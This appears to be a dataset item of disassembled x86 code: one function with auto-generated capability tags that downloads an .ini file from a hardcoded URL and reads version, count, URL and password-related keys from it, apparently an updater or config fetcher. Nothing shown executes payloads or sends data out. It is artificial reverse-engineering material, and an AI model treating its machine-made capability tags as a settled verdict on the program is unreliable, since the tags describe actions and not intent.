Function at 0x402db0
Capabilities:
Download url
Read .ini file
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x477787
mov eax, dword fs:[0]
push eax
sub esp, 0x128
mov eax, dword [0x4a9128]
xor eax, esp
mov dword [esp + 0x124], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4a9128]
xor eax, esp
push eax
lea eax, [esp + 0x13c]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x30], 0xffffffff
call fcn.00434e50
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402e13
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov dword [esp + 0x144], 0
call fcn.00434e50
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402e48
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x2c], eax
push 0x27
push str.http:__www.senyuan.net_hjjm_ver2008.ini
lea ecx, [esp + 0x30]
mov byte [esp + 0x14c], 1
call fcn.00401910
push str.hjt_ver.ini
lea ecx, [esp + 0x1c]
push 0x4aa924
push ecx
call fcn.00401d00
add esp, 0xc
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x148], 2
call fcn.00401b60
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
mov byte [esp + 0x144], 1
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x402ec1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0xffffffffffffffff
lea ecx, [ebx + 4]
push 0
call fcn.00434111
push 0xffffffffffffffff
lea ecx, [ebx + 0x18]
push 0
call fcn.004589a4
mov edi, dword [esp + 0x28]
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
mov esi, dword [esp + 0x2c]
push 0
push 0
push esi
push edi
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x40338d
push 0x12
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push esi
push 0x652
push str.DLLVER
push str.VERSION
call edi
push esi
push 0xffffffffffffffff
push 0x481a64
push str.VERSION
mov dword [ebx + 0x3c], eax
call edi
push esi
push 0
push str.COUNTS
push str.VERSION
mov dword [esp + 0x40], eax
call edi
push esi
push 0
push str.BCOUNTS
push 0x4819cc
mov dword [esp + 0x30], eax
call edi
push esi
push 0
push str.GCOUNTS
push 0x4819cc
mov dword [esp + 0x44], eax
call edi
push 0x100
lea ecx, [esp + 0x3c]
push 0
push ecx
mov dword [esp + 0x24], eax
call fcn.0045d2b0
add esp, 0xc
call fcn.00434e50
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402f9a
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea ebx, [eax + 0x10]
mov dword [esp + 0x14], ebx
mov byte [esp + 0x144], 3
call fcn.00434e50
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402fcc
push 0x80004005
call fcn.00401000
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x24], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
push 0xff
lea ecx, [esp + 0x40]
push ecx
push 0x481930
push str.Name
push str.NOPASSWD
mov byte [esp + 0x15c], 4
call edi
lea eax, [esp + 0x38]
lea ebp, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403010
sub eax, ebp
push eax
lea edx, [esp + 0x3c]
push edx
mov ecx, 0x4aa940
call fcn.00401910
push esi
push 0xff
lea eax, [esp + 0x40]
push eax
push 0x481930
push 0x481a34
push str.SOFTPASSWD
call edi
lea eax, [esp + 0x38]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403050
sub eax, edx
push eax
lea ecx, [esp + 0x3c]
push ecx
mov ecx, 0x4aa944
call fcn.00401910
xor ebp, ebp
cmp dword [esp + 0x20], ebp
jle 0x403169
jmp 0x403080
push ebp
lea edx, [esp + 0x18]
push str.URL_d
push edx
call fcn.00401c20
mov ecx, dword [esp + 0x20]
add esp, 0xc
push esi
push 0xff
lea eax, [esp + 0x40]
push eax
push 0x481930
push ecx
push str.SOURCE
call edi
lea eax, [esp + 0x38]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4030b6
sub eax, edx
push eax
lea edx, [esp + 0x3c]
push edx
lea ecx, [esp + 0x2c]
call fcn.00401910
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
add eax, 0xffffffff
cmp ebp, eax
jne 0x4030ee
lea eax, [esp + 0x24]
add ecx, 0x30
push eax
call fcn.00401b60
jmp 0x4030ff
mov eax, dword [ecx + 0xc]
add ecx, 4
lea edx, [esp + 0x24]
push edx
push eax
call fcn.00434323
push ebp
lea eax, [esp + 0x18]
push str.LEN_d
push eax
call fcn.00401c20
mov ebx, dword [esp + 0x20]
add esp, 0xc
push esi
push 0xff
lea ecx, [esp + 0x40]
push ecx
push 0x481a0c
push ebx
push str.LENGTH
call edi
lea edx, [esp + 0x38]
push edx
call fcn.0045d32a
mov ecx, dword [esp + 0x24]
add ecx, 0xffffffff
add esp, 4
cmp ebp, ecx
mov ecx, dword [esp + 0x1c]
jne 0x40314f
mov dword [ecx + 0x34], eax
jmp 0x40315c
mov edx, dword [ecx + 0x20]
add ecx, 0x18
push eax
push edx
call fcn.00458ac8
add ebp, 1
cmp ebp, dword [esp + 0x20]
jl 0x403080
xor ebp, ebp
cmp dword [esp + 0x34], ebp
jle 0x40320b
push ebp
lea edx, [esp + 0x18]
push str.BFF_d
push edx
call fcn.00401c20
mov ecx, dword [esp + 0x20]
add esp, 0xc
push esi
push 0xff
lea eax, [esp + 0x40]
push eax
push 0x481930
push ecx
push 0x4819cc
call edi
mov eax, dword [0x4aaa60]
lea edx, [esp + 0x38]
push edx
push eax
mov ecx, 0x4aaa58
call fcn.00434358
push ebp
lea ecx, [esp + 0x18]
push str.BFER_d
push ecx
call fcn.00401c20
mov ebx, dword [esp + 0x20]
add esp, 0xc
push esi
push 0xff
lea edx, [esp + 0x40]
push edx
push 0x481930
push ebx
push 0x4819cc
call edi
mov ecx, dword [0x4aaa88]
lea eax, [esp + 0x38]
push eax
push ecx
mov ecx, 0x4aaa80
call fcn.00434358
add ebp, 1
cmp ebp, dword [esp + 0x34]
jl 0x403175
xor ebp, ebp
cmp dword [esp + 0x18], ebp
jle 0x4032b6
jmp 0x403220
push ebp
lea edx, [esp + 0x18]
push str.GFF_d
push edx
call fcn.00401c20
mov ecx, dword [esp + 0x20]
add esp, 0xc
push esi
push 0xff
lea eax, [esp + 0x40]
push eax
push 0x481930
push ecx
push 0x4819cc
call edi
mov eax, dword [0x4aaa74]
lea edx, [esp + 0x38]
push edx
push eax
mov ecx, 0x4aaa6c
call fcn.00434358
push ebp
lea ecx, [esp + 0x18]
push str.GFER_d
push ecx
call fcn.00401c20
mov ebx, dword [esp + 0x20]
add esp, 0xc
push esi
push 0xff
lea edx, [esp + 0x40]
push edx
push 0x481930
push ebx
push 0x4819cc
call edi
mov ecx, dword [0x4aaa9c]
lea eax, [esp + 0x38]
push eax
push ecx
mov ecx, 0x4aaa94
call fcn.00434358
add ebp, 1
cmp ebp, dword [esp + 0x18]
jl 0x403220
push esi
push 0xff
lea edx, [esp + 0x40]
push edx
push 0x481930
push str.BFF_IE
push 0x4819cc
call edi
mov ebp, dword [esp + 0x1c]
lea eax, [esp + 0x38]
lea edx, [eax + 1]
lea ecx, [ebp + 0x40]
mov dword [esp + 0x18], edx
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x4032e4
sub eax, dword [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.00401910
push esi
push 0xff
lea ecx, [esp + 0x40]
push ecx
push 0x481930
push str.BFER_IE
push 0x4819cc
call edi
lea eax, [esp + 0x38]
lea edi, [ebp + 0x44]
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x403322
sub eax, ecx
push eax
lea edx, [esp + 0x3c]
push edx
mov ecx, edi
call fcn.00401910
mov ecx, ebp
call fcn.00402290
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
mov byte [esp + 0x144], 3
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403369
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add ebx, 0xfffffff0
mov byte [esp + 0x144], 1
lea ecx, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40338d
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
add esi, 0xfffffff0
mov byte [esp + 0x144], 0
lea eax, [esi + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4033b1
mov ecx, dword [esi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push esi
call eax
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
mov dword [esp + 0x144], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4033dc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x13c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x124]
xor ecx, esp
call fcn.0045d22c
add esp, 0x134
ret